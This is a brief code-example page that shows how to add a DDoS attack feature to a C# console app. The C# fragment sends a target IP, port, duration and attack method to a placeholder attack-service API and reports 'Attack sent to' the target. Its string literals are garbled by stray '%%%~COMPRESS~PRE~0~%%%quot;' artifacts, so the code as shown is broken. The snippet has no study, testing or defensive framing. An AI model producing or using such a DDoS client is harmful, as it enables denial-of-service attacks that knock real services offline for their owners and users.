how to add a ddos api to a csharp console app

Code Example - how to add a ddos api to a csharp console app

                
                        add strings: IP, PORT, TIME, METHOD then input this
  
  
  var resp = wc.UploadString("https://yourapi", "POST",
                   %%%~COMPRESS~PRE~0~%%%quot;{{ \"target\":\"{target}\", \"port\": {port}, \"duration\": {time}, \"method\": \"{method}\"}}");
                MessageBox.Show(%%%~COMPRESS~PRE~0~%%%quot;Attack sent to {target} using port {port} for {time} Second/s with {method} method.");